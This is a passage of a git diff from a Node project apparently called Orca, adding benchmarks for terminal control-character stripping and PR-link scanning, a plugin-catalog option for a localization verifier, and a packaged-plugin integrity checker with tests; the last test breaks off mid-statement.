|
||||
const INCOMPLETE_ANSI_ESCAPE_RE = new RegExp(
|
||||
`${ESC}(?:\\[[0-?]*[ -/]*|\\][^${BEL}${ESC}]*|\\S?)?$`,
|
||||
'g'
|
||||
)
|
||||
const HISTORY_LIMIT = 300
|
||||
const SCAN_LIMIT = 4096
|
||||
const SAMPLE_ID_LENGTH = 24
|
||||
const ITERATIONS = Number(process.env.ORCA_STRIP_BENCH_ITERATIONS ?? '501')
|
||||
let resultChecksum = 0
|
||||
let validatedPairs = 0
|
||||
|
||||
if (!Number.isSafeInteger(ITERATIONS) || ITERATIONS <= 0) {
|
||||
throw new Error(`ORCA_STRIP_BENCH_ITERATIONS must be a positive integer, got ${ITERATIONS}`)
|
||||
}
|
||||
|
||||
function isStrippedCode(code) {
|
||||
return (code <= 0x1f && code !== 0x0a && code !== 0x0d) || (code >= 0x7f && code <= 0x9f)
|
||||
}
|
||||
|
||||
function terminalControlMayAffectText(data) {
|
||||
for (let index = 0; index < data.length; index += 1) {
|
||||
const code = data.charCodeAt(index)
|
||||
if (
|
||||
code === 0x0d ||
|
||||
code === 0x1b ||
|
||||
(code <= 0x1f && code !== 0x0a) ||
|
||||
(code >= 0x7f && code <= 0x9f)
|
||||
) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function stripPerChar(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
continue
|
||||
}
|
||||
output += withoutAnsi[index]
|
||||
}
|
||||
return output
|
||||
}
|
||||
|
||||
function stripSliceRuns(data) {
|
||||
if (!terminalControlMayAffectText(data)) {
|
||||
return data
|
||||
}
|
||||
const withoutAnsi = data.replace(ANSI_ESCAPE_RE, '').replace(INCOMPLETE_ANSI_ESCAPE_RE, '')
|
||||
let output = ''
|
||||
let runStart = 0
|
||||
for (let index = 0; index < withoutAnsi.length; index += 1) {
|
||||
if (isStrippedCode(withoutAnsi.charCodeAt(index))) {
|
||||
if (index > runStart) {
|
||||
output += withoutAnsi.slice(runStart, index)
|
||||
}
|
||||
runStart = index + 1
|
||||
}
|
||||
}
|
||||
return runStart === 0 ? withoutAnsi : output + withoutAnsi.slice(runStart)
|
||||
}
|
||||
|
||||
function fixedSampleId(sampleId) {
|
||||
return `sample:${sampleId}`.padEnd(SAMPLE_ID_LENGTH, '_').slice(0, SAMPLE_ID_LENGTH)
|
||||
}
|
||||
|
||||
function makeTuiFixture(length, sampleId, strippedControl) {
|
||||
const lines = [
|
||||
`${strippedControl}\x1b[35m✻ Thinking...\x1b[0m\r\n`,
|
||||
' ⏺ Running tests... 42 passed, 0 failed\r\n'
|
||||
]
|
||||
let text = `${fixedSampleId(sampleId)}\r\n`
|
||||
for (let lineIndex = 0; ; lineIndex += 1) {
|
||||
const next = lines[lineIndex % lines.length]
|
||||
if (text.length + next.length > length) {
|
||||
break
|
||||
}
|
||||
text += next
|
||||
}
|
||||
return text + 'x'.repeat(length - text.length)
|
||||
}
|
||||
|
||||
function makeDenseFixture(length, sampleId, strippedControl) {
|
||||
const prefix = `\x1b[35m${fixedSampleId(sampleId)}`
|
||||
const suffix = '\x1b[0m'
|
||||
const bodyLength = length - prefix.length - suffix.length
|
||||
const body = `x${strippedControl}`.repeat(Math.floor(bodyLength / 2))
|
||||
return `${prefix}${body}${bodyLength % 2 === 0 ? '' : 'x'}${suffix}`
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const middle = Math.floor(sorted.length / 2)
|
||||
return sorted.length % 2 === 0 ? (sorted[middle - 1] + sorted[middle]) / 2 : sorted[middle]
|
||||
}
|
||||
|
||||
function measure(strip, fixture) {
|
||||
const start = performance.now()
|
||||
const output = strip(fixture)
|
||||
return { elapsed: performance.now() - start, output }
|
||||
}
|
||||
|
||||
function consumeOutput(output) {
|
||||
resultChecksum = Math.imul(resultChecksum ^ output.length, 16777619) >>> 0
|
||||
resultChecksum ^= output.charCodeAt(Math.floor(output.length / 2))
|
||||
}
|
||||
|
||||
function recordPair(fixture, sampleId, perCharFirst, samples) {
|
||||
const perCharFixture = fixture.make(sampleId, perCharFirst ? '\x01' : '\x02')
|
||||
const sliceRunsFixture = fixture.make(sampleId, perCharFirst ? '\x02' : '\x01')
|
||||
if (
|
||||
perCharFixture === sliceRunsFixture ||
|
||||
perCharFixture.length !== fixture.length ||
|
||||
sliceRunsFixture.length !== fixture.length
|
||||
) {
|
||||
throw new Error(`invalid inputs for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
let perCharResult
|
||||
let sliceRunsResult
|
||||
if (perCharFirst) {
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
} else {
|
||||
sliceRunsResult = measure(stripSliceRuns, sliceRunsFixture)
|
||||
perCharResult = measure(stripPerChar, perCharFixture)
|
||||
}
|
||||
if (perCharResult.output !== sliceRunsResult.output) {
|
||||
throw new Error(`strip mismatch for ${fixture.label}, sample ${sampleId}`)
|
||||
}
|
||||
consumeOutput(perCharResult.output)
|
||||
consumeOutput(sliceRunsResult.output)
|
||||
validatedPairs += 1
|
||||
samples.perChar.push(perCharResult.elapsed)
|
||||
samples.sliceRuns.push(sliceRunsResult.elapsed)
|
||||
}
|
||||
|
||||
const denseBodyLength = SCAN_LIMIT - '\x1b[35m'.length - SAMPLE_ID_LENGTH - '\x1b[0m'.length
|
||||
const denseControlPercent = ((Math.floor(denseBodyLength / 2) / SCAN_LIMIT) * 100).toFixed(1)
|
||||
const fixtures = [
|
||||
{
|
||||
label: `${HISTORY_LIMIT} history TUI`,
|
||||
length: HISTORY_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${HISTORY_LIMIT + 1} boundary TUI`,
|
||||
length: HISTORY_LIMIT + 1,
|
||||
make: (sampleId, control) => makeTuiFixture(HISTORY_LIMIT + 1, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan TUI`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeTuiFixture(SCAN_LIMIT, sampleId, control)
|
||||
},
|
||||
{
|
||||
label: `${SCAN_LIMIT} scan ${denseControlPercent}% C0`,
|
||||
length: SCAN_LIMIT,
|
||||
make: (sampleId, control) => makeDenseFixture(SCAN_LIMIT, sampleId, control)
|
||||
}
|
||||
]
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Complete stripTerminalControl path. Lower is better.')
|
||||
console.log(
|
||||
`iterations=${ITERATIONS} (${ITERATIONS * 2} first-touch samples/implementation, counterbalanced median)`
|
||||
)
|
||||
console.log(
|
||||
`${pad('fixture', 25)} ${pad('per-char', 11)} ${pad('slice runs', 12)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
for (const fixture of fixtures) {
|
||||
const samples = { perChar: [], sliceRuns: [] }
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
const orders = index % 2 === 0 ? [true, false] : [false, true]
|
||||
for (const perCharFirst of orders) {
|
||||
const orderLabel = perCharFirst ? 'per-first' : 'slice-first'
|
||||
recordPair(fixture, `${index}:${orderLabel}`, perCharFirst, samples)
|
||||
}
|
||||
}
|
||||
const perChar = median(samples.perChar)
|
||||
const sliceRuns = median(samples.sliceRuns)
|
||||
console.log(
|
||||
`${pad(fixture.label, 25)} ${pad(`${(perChar * 1000).toFixed(1)} us`, 11)} ${pad(`${(sliceRuns * 1000).toFixed(1)} us`, 12)} ${pad(`${(perChar / sliceRuns).toFixed(2)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
console.log(`\nvalidated=${validatedPairs} measured pairs, result checksum=${resultChecksum >>> 0}`)
|
||||
console.log('Production calls are bounded to 4096, 4096, 300, and 301 code units.')
|
||||
@@ -0,0 +1,221 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: per-chunk cost of the GitHub PR-link carry scan on the PTY output path.
|
||||
//
|
||||
// createTerminalGitHubPRLinkDetector() runs on every PTY chunk (renderer
|
||||
// pty-connection + parked-terminal-byte-watcher). Before the fix,
|
||||
// getPotentialGitHubPRCarry() ran `lastIndexOf` for BOTH http scheme prefixes
|
||||
// across the entire combined chunk — even on the early-out path where the chunk
|
||||
// provably has no `/pull/`. The carry it returns is always a suffix of at most
|
||||
// MAX_CARRY_LENGTH (512) bytes, so every byte scanned before
|
||||
// `length - 512` was guaranteed-wasted work.
|
||||
//
|
||||
// The fix bounds the scan to that trailing window. This script measures the
|
||||
// scan itself across chunk sizes so the saved work is quantified.
|
||||
//
|
||||
// carryBefore/carryAfter are mirrors: node cannot import the .ts source, which is
|
||||
// why the sibling benchmarks in this directory inline their subject too. The
|
||||
// constants below are re-read from the real module at startup so a drifted cap or
|
||||
// scheme list fails loudly here instead of quietly benchmarking dead code.
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
import { fileURLToPath } from 'node:url'
|
||||
|
||||
const DETECTOR_SOURCE = readFileSync(
|
||||
fileURLToPath(new URL('../../src/shared/terminal-github-pr-link-detector.ts', import.meta.url)),
|
||||
'utf8'
|
||||
)
|
||||
|
||||
function readMirroredConstants(source) {
|
||||
const cap = source.match(/const MAX_CARRY_LENGTH = (\d+)/)
|
||||
const prefixes = source.match(/const HTTP_SCHEME_PREFIXES = \[([^\]]+)\]/)
|
||||
if (!cap || !prefixes) {
|
||||
throw new Error(
|
||||
'terminal-github-pr-link-detector.ts no longer exposes MAX_CARRY_LENGTH / HTTP_SCHEME_PREFIXES in the expected shape; re-sync this benchmark with the implementation.'
|
||||
)
|
||||
}
|
||||
return {
|
||||
maxCarryLength: Number(cap[1]),
|
||||
httpSchemePrefixes: prefixes[1]
|
||||
.split(',')
|
||||
.map((entry) => entry.trim().replace(/^['"]|['"]$/g, ''))
|
||||
.filter(Boolean)
|
||||
}
|
||||
}
|
||||
|
||||
const { maxCarryLength: MAX_CARRY_LENGTH, httpSchemePrefixes: HTTP_SCHEME_PREFIXES } =
|
||||
readMirroredConstants(DETECTOR_SOURCE)
|
||||
const ITERATIONS = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_ITERATIONS ?? '2000', 10)
|
||||
const WARMUP = Number.parseInt(process.env.ORCA_PR_CARRY_BENCH_WARMUP ?? '200', 10)
|
||||
|
||||
for (const [name, value] of [
|
||||
['ORCA_PR_CARRY_BENCH_ITERATIONS', ITERATIONS],
|
||||
['ORCA_PR_CARRY_BENCH_WARMUP', WARMUP]
|
||||
]) {
|
||||
if (!Number.isInteger(value) || value <= 0) {
|
||||
throw new Error(`${name} must be a positive integer, received ${value}`)
|
||||
}
|
||||
}
|
||||
|
||||
function hasTerminalUrlWhitespace(value, start, end) {
|
||||
for (let index = start; index < end; index += 1) {
|
||||
if (/\s/.test(value.charAt(index))) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
function endsWithHttpSchemePrefixFragment(value) {
|
||||
for (const prefix of HTTP_SCHEME_PREFIXES) {
|
||||
for (let length = Math.min(prefix.length - 1, value.length); length > 0; length--) {
|
||||
if (value.endsWith(prefix.slice(0, length))) {
|
||||
return value.slice(value.length - length)
|
||||
}
|
||||
}
|
||||
}
|
||||
return ''
|
||||
}
|
||||
|
||||
// Pre-fix implementation, kept verbatim for comparison.
|
||||
function carryBefore(value) {
|
||||
const schemeIndex = Math.max(...HTTP_SCHEME_PREFIXES.map((prefix) => value.lastIndexOf(prefix)))
|
||||
if (schemeIndex !== -1) {
|
||||
const tailLength = value.length - schemeIndex
|
||||
if (tailLength > MAX_CARRY_LENGTH) {
|
||||
return ''
|
||||
}
|
||||
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
|
||||
? ''
|
||||
: value.slice(schemeIndex)
|
||||
}
|
||||
return endsWithHttpSchemePrefixFragment(value)
|
||||
}
|
||||
|
||||
// Post-fix implementation, mirroring src/shared/terminal-github-pr-link-detector.ts.
|
||||
function lastIndexOfHttpScheme(value, fromIndex) {
|
||||
let lastIndex = -1
|
||||
for (const prefix of HTTP_SCHEME_PREFIXES) {
|
||||
const candidate =
|
||||
fromIndex === undefined ? value.lastIndexOf(prefix) : value.lastIndexOf(prefix, fromIndex)
|
||||
if (candidate > lastIndex) {
|
||||
lastIndex = candidate
|
||||
}
|
||||
}
|
||||
return lastIndex
|
||||
}
|
||||
|
||||
function carryAfter(value) {
|
||||
const windowStart = value.length > MAX_CARRY_LENGTH ? value.length - MAX_CARRY_LENGTH : 0
|
||||
const window = windowStart === 0 ? value : value.slice(windowStart)
|
||||
const schemeIndexInWindow = lastIndexOfHttpScheme(window)
|
||||
if (schemeIndexInWindow !== -1) {
|
||||
const schemeIndex = windowStart + schemeIndexInWindow
|
||||
return hasTerminalUrlWhitespace(value, schemeIndex, value.length)
|
||||
? ''
|
||||
: value.slice(schemeIndex)
|
||||
}
|
||||
const fragment = endsWithHttpSchemePrefixFragment(window)
|
||||
if (fragment === '' || windowStart === 0) {
|
||||
return fragment
|
||||
}
|
||||
return lastIndexOfHttpScheme(value, windowStart - 1) === -1 ? fragment : ''
|
||||
}
|
||||
|
||||
const GITHUB_PR_PATH_MARKER = '/pull/'
|
||||
|
||||
// Agent TUI output: no scheme anywhere, which is the overwhelmingly common case
|
||||
// and the one where the old code scanned the full chunk to return ''. `tail`
|
||||
// forces the chunk to end mid-scheme so the fallback branch is measured too.
|
||||
function makeChunk(bytes, tail = '') {
|
||||
const line = 'build output line with some text and punctuation, id=12345\n'
|
||||
const filled = line.repeat(Math.ceil(bytes / line.length)).slice(0, bytes)
|
||||
return tail ? filled.slice(0, bytes - tail.length) + tail : filled
|
||||
}
|
||||
|
||||
// Why measure this too: the detector runs includes() over the whole chunk before
|
||||
// the carry scan and the fix does not touch that cost, so timing the carry alone
|
||||
// reports a win the hot path cannot actually realize. These fixtures never hold
|
||||
// the marker, so this mirrors the early-out branch ordinary output takes.
|
||||
function detectorEarlyOut(carry, value) {
|
||||
if (value.includes(GITHUB_PR_PATH_MARKER)) {
|
||||
throw new Error('benchmark fixture unexpectedly contains the PR marker')
|
||||
}
|
||||
return carry(value)
|
||||
}
|
||||
|
||||
function measure(fn, chunk) {
|
||||
for (let index = 0; index < WARMUP; index += 1) {
|
||||
fn(chunk)
|
||||
}
|
||||
const samples = []
|
||||
for (let round = 0; round < 5; round += 1) {
|
||||
const start = performance.now()
|
||||
for (let index = 0; index < ITERATIONS; index += 1) {
|
||||
fn(chunk)
|
||||
}
|
||||
samples.push((performance.now() - start) / ITERATIONS)
|
||||
}
|
||||
samples.sort((a, b) => a - b)
|
||||
return samples[2]
|
||||
}
|
||||
|
||||
// Why non-empty fixtures: a chunk of ordinary text yields '' from both versions,
|
||||
// so an equality check over it would pass even for a carry that always returns ''.
|
||||
const EQUIVALENCE_FIXTURES = [
|
||||
`noise ${'x'.repeat(400)}https://github.com/acme/orca/pull/7`,
|
||||
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}`,
|
||||
`https://github.com/acme/orca/pull/1${'x'.repeat(600)}https`,
|
||||
`${'x'.repeat(1000)}https`,
|
||||
`${'x'.repeat(1000)}http`,
|
||||
'https://github.com/acme/orca/pull/7 trailing words',
|
||||
`${'y'.repeat(600)}`,
|
||||
'',
|
||||
'https://github.com/acme/orca/pull/7'
|
||||
]
|
||||
for (const fixture of EQUIVALENCE_FIXTURES) {
|
||||
if (carryBefore(fixture) !== carryAfter(fixture)) {
|
||||
throw new Error(
|
||||
`carry mismatch on fixture (len ${fixture.length}): ${JSON.stringify(carryBefore(fixture))} vs ${JSON.stringify(carryAfter(fixture))}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
const SIZES = [4 * 1024, 16 * 1024, 64 * 1024, 256 * 1024, 1024 * 1024]
|
||||
const rows = []
|
||||
for (const bytes of SIZES) {
|
||||
const chunk = makeChunk(bytes)
|
||||
// 'with' ends in 'h', so the chunk terminates on a partial scheme fragment and
|
||||
// the new code pays the extra bounded probe behind the window.
|
||||
const fragmentChunk = makeChunk(bytes, 'with')
|
||||
for (const sample of [chunk, fragmentChunk]) {
|
||||
if (carryBefore(sample) !== carryAfter(sample)) {
|
||||
throw new Error(`carry mismatch at ${bytes} bytes`)
|
||||
}
|
||||
}
|
||||
rows.push({
|
||||
chunk: `${(bytes / 1024).toFixed(0)} KiB`,
|
||||
carry: measure(carryBefore, chunk) / measure(carryAfter, chunk),
|
||||
path:
|
||||
measure((value) => detectorEarlyOut(carryBefore, value), chunk) /
|
||||
measure((value) => detectorEarlyOut(carryAfter, value), chunk),
|
||||
fragment: measure(carryBefore, fragmentChunk) / measure(carryAfter, fragmentChunk)
|
||||
})
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('PR-link carry scan, per PTY chunk. Speedup = before / after (>1 is faster).')
|
||||
console.log(`iterations=${ITERATIONS} warmup=${WARMUP} (median of 5 rounds)`)
|
||||
console.log(
|
||||
`${pad('chunk', 9)} ${pad('carry only', 12)} ${pad('detector path', 15)} ${pad('fragment tail', 15)}`
|
||||
)
|
||||
for (const row of rows) {
|
||||
console.log(
|
||||
`${pad(row.chunk, 9)} ${pad(`${row.carry.toFixed(1)}x`, 12)} ${pad(`${row.path.toFixed(1)}x`, 15)} ${pad(`${row.fragment.toFixed(2)}x`, 15)}`
|
||||
)
|
||||
}
|
||||
console.log(
|
||||
'\ncarry only = the scan this change bounds, in isolation.\n' +
|
||||
'detector path = includes() + carry, i.e. what the PTY hot path actually saves.\n' +
|
||||
'fragment tail = chunk ending mid-scheme, where the new code pays an extra\n' +
|
||||
' bounded probe. ~1x means the fallback costs nothing material.'
|
||||
)
|
||||
@@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
|
||||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
return {
|
||||
fix: argv.includes('--fix')
|
||||
const pluginCatalogs = []
|
||||
for (let index = 0; index < argv.length; index += 1) {
|
||||
const argument = argv[index]
|
||||
if (argument === '--plugin-catalog') {
|
||||
const catalogPath = argv[index + 1]
|
||||
if (!catalogPath || catalogPath.startsWith('--')) {
|
||||
throw new Error('--plugin-catalog requires a JSON catalog path')
|
||||
}
|
||||
pluginCatalogs.push(catalogPath)
|
||||
index += 1
|
||||
} else if (argument.startsWith('--plugin-catalog=')) {
|
||||
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
|
||||
}
|
||||
}
|
||||
return {
|
||||
fix: argv.includes('--fix'),
|
||||
pluginCatalogs
|
||||
}
|
||||
}
|
||||
|
||||
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
|
||||
const resolvedPath = path.resolve(root, pluginCatalogPath)
|
||||
let pluginCatalog
|
||||
try {
|
||||
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
|
||||
} catch (error) {
|
||||
console.error(
|
||||
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
return 1
|
||||
}
|
||||
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
|
||||
collectLocaleParityIssues(catalog, pluginCatalog)
|
||||
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
|
||||
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
|
||||
console.log(
|
||||
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
|
||||
)
|
||||
if (missingInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
|
||||
if (missingInLocale.length > 20) {
|
||||
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
|
||||
}
|
||||
}
|
||||
if (extraInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
|
||||
}
|
||||
if (interpolationMismatches.length > 0) {
|
||||
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
|
||||
}
|
||||
// Why: absent plugin translations safely fall back to English, but a present
|
||||
// value with different variables can render broken or misleading UI.
|
||||
return interpolationMismatches.length > 0 ? 1 : 0
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
|
||||
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
|
||||
const catalogPath = path.join(localesDir, 'en.json')
|
||||
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
|
||||
const pluginCatalogs = options.pluginCatalogs ?? []
|
||||
if (pluginCatalogs.length > 0) {
|
||||
if (options.fix) {
|
||||
console.error('--fix cannot be combined with --plugin-catalog')
|
||||
return 1
|
||||
}
|
||||
for (const pluginCatalogPath of pluginCatalogs) {
|
||||
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
|
||||
if (result !== 0) {
|
||||
return result
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
let catalogKeys = new Set(flattenCatalogKeys(catalog))
|
||||
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
|
||||
const references = []
|
||||
|
||||
@@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
|
||||
|
||||
@@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
|
||||
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
|
||||
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
|
||||
})
|
||||
|
||||
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
|
||||
const { root } = makeProject({
|
||||
sourceText: 'export {}\n',
|
||||
enCatalog: {
|
||||
auto: { first: 'First {{name}}', second: 'Second' }
|
||||
},
|
||||
esCatalog: {
|
||||
auto: { first: 'Primero {{name}}', second: 'Segundo' }
|
||||
}
|
||||
})
|
||||
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
|
||||
writeJson(pluginCatalogPath, {
|
||||
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
|
||||
})
|
||||
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
|
||||
|
||||
try {
|
||||
await expect(
|
||||
verifyLocalizationCatalog(root, {
|
||||
fix: false,
|
||||
pluginCatalogs: [pluginCatalogPath]
|
||||
})
|
||||
).resolves.toBe(1)
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
|
||||
} finally {
|
||||
report.mockRestore()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
const { createHash } = require('node:crypto')
|
||||
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
|
||||
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
|
||||
|
||||
const MAX_PLUGIN_FILES = 2_000
|
||||
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
|
||||
|
||||
function hashLength(hash, length) {
|
||||
const framedLength = Buffer.allocUnsafe(8)
|
||||
framedLength.writeBigUInt64BE(BigInt(length))
|
||||
hash.update(framedLength)
|
||||
}
|
||||
|
||||
function hashPackagedPluginTree(root) {
|
||||
const files = []
|
||||
let entriesVisited = 0
|
||||
let totalBytes = 0
|
||||
const visit = (directory) => {
|
||||
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
|
||||
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
|
||||
)
|
||||
for (const entry of entries) {
|
||||
if (directory === root && entry.name === '.git') {
|
||||
continue
|
||||
}
|
||||
const entryPath = join(directory, entry.name)
|
||||
const metadata = lstatSync(entryPath)
|
||||
entriesVisited += 1
|
||||
if (entriesVisited > MAX_PLUGIN_FILES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
|
||||
}
|
||||
if (metadata.isSymbolicLink()) {
|
||||
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
|
||||
}
|
||||
if (metadata.isDirectory()) {
|
||||
visit(entryPath)
|
||||
} else if (metadata.isFile()) {
|
||||
totalBytes += metadata.size
|
||||
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
|
||||
}
|
||||
files.push({ path: entryPath, size: metadata.size })
|
||||
} else {
|
||||
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(root)
|
||||
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
|
||||
for (const file of files) {
|
||||
const relativePath = relative(root, file.path).replaceAll('\\', '/')
|
||||
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
|
||||
hash.update(relativePath, 'utf8')
|
||||
hashLength(hash, file.size)
|
||||
hash.update(readFileSync(file.path))
|
||||
}
|
||||
return hash.digest('hex')
|
||||
}
|
||||
|
||||
function readJsonFile(path, label) {
|
||||
try {
|
||||
return JSON.parse(readFileSync(path, 'utf8'))
|
||||
} catch (error) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
function verifyPackagedPluginResources(resourcesDir) {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
if (!statSync(launchRoot).isDirectory()) {
|
||||
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
|
||||
}
|
||||
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
|
||||
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
|
||||
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
|
||||
}
|
||||
const resolvedRoot = resolve(launchRoot)
|
||||
for (const entry of index.plugins) {
|
||||
if (
|
||||
typeof entry?.pluginKey !== 'string' ||
|
||||
typeof entry.path !== 'string' ||
|
||||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
|
||||
) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
|
||||
}
|
||||
const pluginRoot = resolve(launchRoot, entry.path)
|
||||
const fromRoot = relative(resolvedRoot, pluginRoot)
|
||||
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
|
||||
}
|
||||
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
|
||||
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
}
|
||||
console.log(
|
||||
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
|
||||
)
|
||||
}
|
||||
|
||||
module.exports = { verifyPackagedPluginResources }
|
||||
@@ -0,0 +1,77 @@
|
||||
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const require = createRequire(import.meta.url)
|
||||
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
|
||||
|
||||
describe('verify packaged plugin resources', () => {
|
||||
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
|
||||
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
|
||||
} finally {
|
||||
await rm(resourcesDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
|
||||
it('rejects mutated bytes in the packaged output', async () => {
|
||||
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
|
||||
try {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
|
||||
recursive: true
|
||||
})
|
||||
await writeFile(
|
||||
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
|
||||
'{"mutated":true}\n'
